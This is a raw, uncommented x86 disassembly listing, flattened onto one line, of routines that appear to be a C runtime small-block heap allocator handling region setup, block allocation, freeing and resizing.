CODE XREF: sub_416882+16j pop esi pop ebp retn sub_416882 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416901 proc near ; CODE XREF: sub_412FE4+1Ep ; sub_41318A+51p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi lea esi, ds:42CB88h[eax*8] cmp dword ptr [esi], 0 jnz short loc_416927 push eax call sub_416882 test eax, eax pop ecx jnz short loc_416927 push 11h call sub_4148E1 pop ecx loc_416927: ; CODE XREF: sub_416901+11j ; sub_416901+1Cj push dword ptr [esi] call ds:dword_41F01C pop esi pop ebp retn sub_416901 endp ; =============== S U B R O U T I N E ======================================= sub_416932 proc near ; CODE XREF: sub_41677E+34p arg_0 = dword ptr 4 push 140h push 0 push dword_47A63C call ds:dword_41F13C test eax, eax mov dword_47A628, eax jnz short loc_41694F retn ; --------------------------------------------------------------------------- loc_41694F: ; CODE XREF: sub_416932+1Aj mov ecx, [esp+arg_0] and dword_47A620, 0 and dword_47A624, 0 mov dword_47A630, eax xor eax, eax mov dword_47A62C, ecx mov dword_47A634, 10h inc eax retn sub_416932 endp ; =============== S U B R O U T I N E ======================================= sub_41697A proc near ; CODE XREF: sub_412FE4+29p ; sub_41318A+5Bp ... arg_0 = dword ptr 4 mov eax, dword_47A624 lea ecx, [eax+eax*4] mov eax, dword_47A628 lea ecx, [eax+ecx*4] jmp short loc_41699E ; --------------------------------------------------------------------------- loc_41698C: ; CODE XREF: sub_41697A+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_4169A4 add eax, 14h loc_41699E: ; CODE XREF: sub_41697A+10j cmp eax, ecx jb short loc_41698C xor eax, eax locret_4169A4: ; CODE XREF: sub_41697A+1Fj retn sub_41697A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169A5 proc near ; CODE XREF: sub_412FE4+38p ; sub_41318A+B8p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_416CB9 push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_416A70 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_416A08 push 3Fh pop edx loc_416A08: ; CODE XREF: sub_4169A5+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_416A52 cmp edx, 20h mov ebx, 80000000h jnb short loc_416A33 mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_416A4F mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_416A4F ; --------------------------------------------------------------------------- loc_416A33: ; CODE XREF: sub_4169A5+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_416A4F mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_416A4F: ; CODE XREF: sub_4169A5+85j ; sub_4169A5+8Cj ... mov ebx, [ebp+arg_4] loc_416A52: ; CODE XREF: sub_4169A5+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_416A70: ; CODE XREF: sub_4169A5+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_416A7E push 3Fh pop edx loc_416A7E: ; CODE XREF: sub_4169A5+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_416B1C sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_416AA3 mov ebx, esi loc_416AA3: ; CODE XREF: sub_4169A5+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_416AB5 mov edx, esi loc_416AB5: ; CODE XREF: sub_4169A5+10Cj cmp ebx, edx jz short loc_416B17 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_416AFF cmp ebx, 20h mov esi, 80000000h jnb short loc_416AE5 mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_416AFF mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_416AFF ; --------------------------------------------------------------------------- loc_416AE5: ; CODE XREF: sub_4169A5+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_416AFF mov ecx, [ebp+arg_0] and [ecx+4], esi loc_416AFF: ; CODE XREF: sub_4169A5+11Dj ; sub_4169A5+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_416B17: ; CODE XREF: sub_4169A5+112j mov esi, [ebp+arg_4] jmp short loc_416B1F ; --------------------------------------------------------------------------- loc_416B1C: ; CODE XREF: sub_4169A5+E2j mov ebx, [ebp+arg_0] loc_416B1F: ; CODE XREF: sub_4169A5+175j cmp [ebp+var_C], 0 jnz short loc_416B2D cmp ebx, edx jz loc_416BAD loc_416B2D: ; CODE XREF: sub_4169A5+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_416BAD mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_416B84 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_416B73 mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_416B73: ; CODE XREF: sub_4169A5+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_416BAD ; --------------------------------------------------------------------------- loc_416B84: ; CODE XREF: sub_4169A5+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_416B9A lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_416B9A: ; CODE XREF: sub_4169A5+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_416BAD: ; CODE XREF: sub_4169A5+182j ; sub_4169A5+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_416CB8 mov eax, dword_47A620 test eax, eax jz loc_416CAA mov ecx, dword_47A638 mov esi, ds:dword_41F170 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi mov ecx, dword_47A638 mov eax, dword_47A620 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_47A620 mov eax, [eax+10h] mov ecx, dword_47A638 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_47A620 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_47A620 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_416C3B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_47A620 loc_416C3B: ; CODE XREF: sub_4169A5+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_416CAA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_47A620 push dword ptr [eax+10h] push 0 push dword_47A63C call ds:dword_41F134 mov eax, dword_47A624 mov edx, dword_47A628 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_47A620 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41BC70 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_47A624 cmp eax, dword_47A620 jbe short loc_416CA0 sub [ebp+arg_0], 14h loc_416CA0: ; CODE XREF: sub_4169A5+2F5j mov eax, dword_47A628 mov dword_47A630, eax loc_416CAA: ; CODE XREF: sub_4169A5+223j ; sub_4169A5+29Aj mov eax, [ebp+arg_0] mov dword_47A620, eax mov dword_47A638, edi loc_416CB8: ; CODE XREF: sub_4169A5+216j pop ebx loc_416CB9: ; CODE XREF: sub_4169A5+37j pop edi pop esi leave retn sub_4169A5 endp ; =============== S U B R O U T I N E ======================================= sub_416CBD proc near ; CODE XREF: sub_417159+150p mov eax, dword_47A624 mov ecx, dword_47A634 push edi xor edi, edi cmp eax, ecx jnz short loc_416D03 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_47A628 push edi push dword_47A63C call ds:dword_41F138 cmp eax, edi jnz short loc_416CF2 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_416CF2: ; CODE XREF: sub_416CBD+2Fj add dword_47A634, 10h mov dword_47A628, eax mov eax, dword_47A624 loc_416D03: ; CODE XREF: sub_416CBD+10j mov ecx, dword_47A628 push esi push 41C4h push 8 push dword_47A63C lea eax, [eax+eax*4] lea esi, [ecx+eax*4] call ds:dword_41F13C cmp eax, edi mov [esi+10h], eax jnz short loc_416D2E loc_416D2A: ; CODE XREF: sub_416CBD+9Bj xor eax, eax jmp short loc_416D71 ; --------------------------------------------------------------------------- loc_416D2E: ; CODE XREF: sub_416CBD+6Bj push 4 push 2000h push 100000h push edi call ds:dword_41F174 cmp eax, edi mov [esi+0Ch], eax jnz short loc_416D5A push dword ptr [esi+10h] push edi push dword_47A63C call ds:dword_41F134 jmp short loc_416D2A ; --------------------------------------------------------------------------- loc_416D5A: ; CODE XREF: sub_416CBD+89j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_47A624 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_416D71: ; CODE XREF: sub_416CBD+6Fj pop esi pop edi retn sub_416CBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D74 proc near ; CODE XREF: sub_417159+15Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_416D8C ; --------------------------------------------------------------------------- loc_416D89: ; CODE XREF: sub_416D74+1Aj shl eax, 1 inc ebx loc_416D8C: ; CODE XREF: sub_416D74+13j test eax, eax jge short loc_416D89 mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_416DA5: ; CODE XREF: sub_416D74+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_416DA5 push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call ds:dword_41F174 test eax, eax jnz short loc_416DD8 or eax, 0FFFFFFFFh jmp loc_416E75 ; --------------------------------------------------------------------------- loc_416DD8: ; CODE XREF: sub_416D74+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_416E28 mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_416DF0: ; CODE XREF: sub_416D74+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_416DF0 mov edx, [ebp+var_4] loc_416E28: ; CODE XREF: sub_416D74+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_416E65 or [eax+4], edi loc_416E65: ; CODE XREF: sub_416D74+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_416E75: ; CODE XREF: sub_416D74+5Fj pop edi pop esi pop ebx leave retn sub_416D74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E7A proc near ; CODE XREF: sub_41318A+77p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_41701C test bl, 1 jnz loc_417015 add ebx, ecx cmp esi, ebx jg loc_417015 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_416EEF push 3Fh pop ecx mov [ebp+var_8], ecx loc_416EEF: ; CODE XREF: sub_416E7A+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_416F3A cmp ecx, 20h mov ebx, 80000000h jnb short loc_416F1B shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_416F3A mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_416F3A ; --------------------------------------------------------------------------- loc_416F1B: ; CODE XREF: sub_416E7A+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_416F3A mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_416F3A: ; CODE XREF: sub_416E7A+7Bj ; sub_416E7A+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_417003 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_416F74 push 3Fh pop edi loc_416F74: ; CODE XREF: sub_416E7A+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_416FF1 mov cl, [edi+eax+4] mov byte ptr [ebp+arg_8+3], cl inc cl cmp edi, 20h mov [edi+eax+4], cl jnb short loc_416FC8 cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_416FC0 mov ecx, edi mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_416FC0: ; CODE XREF: sub_416E7A+136j lea eax, [eax+edx*4+44h] mov ecx, edi jmp short loc_416FE8 ; --------------------------------------------------------------------------- loc_416FC8: ; CODE XREF: sub_416E7A+130j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_416FDE lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_416FDE: ; CODE XREF: sub_416E7A+152j lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] loc_416FE8: ; CODE XREF: sub_416E7A+14Cj mov edx, 80000000h shr edx, cl or [eax], edx loc_416FF1: ; CODE XREF: sub_416E7A+11Ej mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_417006 ; --------------------------------------------------------------------------- loc_417003: ; CODE XREF: sub_416E7A+DEj mov edx, [ebp+arg_4] loc_417006: ; CODE XREF: sub_416E7A+187j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_417151 ; --------------------------------------------------------------------------- loc_417015: ; CODE XREF: sub_416E7A+50j ; sub_416E7A+5Aj xor eax, eax jmp loc_417154 ; --------------------------------------------------------------------------- loc_41701C: ; CODE XREF: sub_416E7A+47j jge loc_417151 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+arg_4], ebx mov [ebx-4], ecx jbe short loc_417047 push 3Fh pop esi loc_417047: ; CODE XREF: sub_416E7A+1C8j test byte ptr [ebp+var_4], 1 jnz loc_4170D1 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_417060 push 3Fh pop esi loc_417060: ; CODE XREF: sub_416E7A+1E1j mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_4170AA cmp esi, 20h mov ebx, 80000000h jnb short loc_41708B mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_4170A7 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_4170A7 ; --------------------------------------------------------------------------- loc_41708B: ; CODE XREF: sub_416E7A+1F6j lea ecx, [esi-20h] shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_4170A7 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_4170A7: ; CODE XREF: sub_416E7A+208j ; sub_416E7A+20Fj ... mov ebx, [ebp+arg_4] loc_4170AA: ; CODE XREF: sub_416E7A+1ECj mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov esi, [edi+8] mov ecx, [edi+4] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_4170D1 push 3Fh pop esi loc_4170D1: ; CODE XREF: sub_416E7A+1D1j ; sub_416E7A+252j mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [ebx+8], ecx mov [ebx+4], edi mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_417148 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jnb short loc_41711F cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_417117 mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_417117: ; CODE XREF: sub_416E7A+28Dj lea eax, [eax+edx*4+44h] mov ecx, esi jmp short loc_41713F ; --------------------------------------------------------------------------- loc_41711F: ; CODE XREF: sub_416E7A+287j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_417135 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_417135: ; CODE XREF: sub_416E7A+2A9j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] loc_41713F: ; CODE XREF: sub_416E7A+2A3j mov edx, 80000000h shr edx, cl or [eax], edx loc_417148: ; CODE XREF: sub_416E7A+275j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_417151: ; CODE XREF: sub_416E7A+196j ; sub_416E7A:loc_41701Cj xor eax, eax inc eax loc_417154: ; CODE XREF: sub_416E7A+19Dj pop edi pop esi pop ebx leave retn sub_416E7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417159 proc near ; CODE XREF: sub_41318A+89p ; sub_4133A6+2Dp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov ecx, [ebp+arg_0] mov eax, dword_47A624 mov edx, dword_47A628 add ecx, 17h and ecx, 0FFFFFFF0h push ebx mov [ebp+var_10], ecx sar ecx, 4 push esi lea eax, [eax+eax*4] push edi dec ecx cmp ecx, 20h lea edi, [edx+eax*4] mov [ebp+var_4], edi jge short loc_417196 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh jmp short loc_4171A3 ; --------------------------------------------------------------------------- loc_417196: ; CODE XREF: sub_417159+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_8], eax loc_4171A3: ; CODE XREF: sub_417159+3Bj mov eax, dword_47A630 mov ebx, eax mov [ebp+var_C], esi cmp ebx, edi jmp short loc_4171C5 ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_417159+6Fj mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4171CA add ebx, 14h cmp ebx, [ebp+var_4] loc_4171C5: ; CODE XREF: sub_417159+56j mov [ebp+arg_0], ebx jb short loc_4171B1 loc_4171CA: ; CODE XREF: sub_417159+64j cmp ebx, [ebp+var_4] jnz short loc_4171F3 mov ebx, edx jmp short loc_4171E4 ; --------------------------------------------------------------------------- loc_4171D3: ; CODE XREF: sub_417159+90j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4171EB add ebx, 14h loc_4171E4: ; CODE XREF: sub_417159+78j cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_4171D3 loc_4171EB: ; CODE XREF: sub_417159+86j cmp ebx, eax jz loc_417287 loc_4171F3: ; CODE XREF: sub_417159+74j ; sub_417159+170j mov dword_47A630, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41721A mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_417250 loc_41721A: ; CODE XREF: sub_417159+ABj mov edx, [eax+0C4h] and edx, [ebp+var_8] and [ebp+var_4], 0 lea ecx, [eax+44h] mov esi, [ecx] and esi, [ebp+var_C] or edx, esi mov esi, [ebp+var_C] jnz short loc_41724D loc_417236: ; CODE XREF: sub_417159+F2j mov edx, [ecx+84h] and edx, [ebp+var_8] inc [ebp+var_4] add ecx, 4 mov edi, [ecx] and edi, esi or edx, edi jz short loc_417236 loc_41724D: ; CODE XREF: sub_417159+DBj mov edx, [ebp+var_4] loc_417250: ; CODE XREF: sub_417159+BFj mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] xor edi, edi and ecx, esi jnz short loc_4172D9 mov ecx, [eax+edx*4+0C4h] and ecx, [ebp+var_8] push 20h pop edi jmp short loc_4172D9 ; --------------------------------------------------------------------------- loc_41727B: ; CODE XREF: sub_417159+131j cmp dword ptr [ebx+8], 0 jnz short loc_41728C add ebx, 14h mov [ebp+arg_0], ebx loc_417287: ; CODE XREF: sub_417159+94j cmp ebx, [ebp+var_4] jb short loc_41727B loc_41728C: ; CODE XREF: sub_417159+126j cmp ebx, [ebp+var_4] jnz short loc_4172B7 mov ebx, edx jmp short loc_41729E ; --------------------------------------------------------------------------- loc_417295: ; CODE XREF: sub_417159+14Aj cmp dword ptr [ebx+8], 0 jnz short loc_4172A5 add ebx, 14h loc_41729E: ; CODE XREF: sub_417159+13Aj cmp ebx, eax mov [ebp+arg_0], ebx jb short loc_417295 loc_4172A5: ; CODE XREF: sub_417159+140j cmp ebx, eax jnz short loc_4172B7 call sub_416CBD mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_4172CF loc_4172B7: ; CODE XREF: sub_417159+136j ; sub_417159+14Ej push ebx call sub_416D74 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_4171F3 loc_4172CF: ; CODE XREF: sub_417159+15Cj xor eax, eax jmp loc_417450 ; --------------------------------------------------------------------------- loc_4172D6: ; CODE XREF: sub_417159+182j shl ecx, 1 inc edi loc_4172D9: ; CODE XREF: sub_417159+111j ; sub_417159+120j test ecx, ecx jge short loc_4172D6 mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx sar esi, 4 dec esi cmp esi, 3Fh mov [ebp+var_8], ecx jle short loc_4172FA push 3Fh pop esi loc_4172FA: ; CODE XREF: sub_417159+19Cj cmp esi, edi jz loc_417403 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_417366 cmp edi, 20h mov ebx, 80000000h jge short loc_41733A mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_417363 mov ecx, [ebp+var_14] mov ebx, [ebp+arg_0] and [ebx], ecx jmp short loc_417366 ; --------------------------------------------------------------------------- loc_41733A: ; CODE XREF: sub_417159+1B9j lea ecx, [edi-20h] shr ebx, cl mov ecx, [ebp+var_4] lea ecx, [eax+ecx*4+0C4h] lea edi, [eax+edi+4] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_417363 mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_417366 ; --------------------------------------------------------------------------- loc_417363: ; CODE XREF: sub_417159+1D5j ; sub_417159+1FDj mov ebx, [ebp+arg_0] loc_417366: ; CODE XREF: sub_417159+1AFj ; sub_417159+1DFj ... cmp [ebp+var_8], 0 mov ecx, [edx+8] mov edi, [edx+4] mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41740F mov ecx, [ebp+var_C] lea ecx, [ecx+esi*8] mov edi, [ecx+4] mov [edx+8], ecx mov [edx+4], edi mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_417400 mov cl, [esi+eax+4] mov byte ptr [ebp+arg_0+3], cl inc cl cmp esi, 20h mov [esi+eax+4], cl jge short loc_4173D7 cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4173C5 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_4173C5: ; CODE XREF: sub_417159+25Fj mov ecx, esi mov edi, 80000000h shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_417400 ; --------------------------------------------------------------------------- loc_4173D7: ; CODE XREF: sub_417159+259j cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_4173EA lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_4173EA: ; CODE XREF: sub_417159+282j mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_417400: ; CODE XREF: sub_417159+247j ; sub_417159+27Cj mov ecx, [ebp+var_8] loc_417403: ; CODE XREF: sub_417159+1A3j test ecx, ecx jz short loc_417412 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740F: ; CODE XREF: sub_417159+223j mov ecx, [ebp+var_8] loc_417412: ; CODE XREF: sub_417159+2ACj ; sub_417159+2B4j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_417448 cmp ebx, dword_47A620 jnz short loc_417448 mov ecx, [ebp+var_4] cmp ecx, dword_47A638 jnz short loc_417448 and dword_47A620, 0 loc_417448: ; CODE XREF: sub_417159+2D3j ; sub_417159+2DBj ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_417450: ; CODE XREF: sub_417159+178j pop edi pop esi pop ebx leave retn sub_417159 endp ; =============== S U B R O U T I N E ======================================= sub_417455 proc near ; CODE XREF: sub_413055+AAp ; sub_4142F5+44p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov 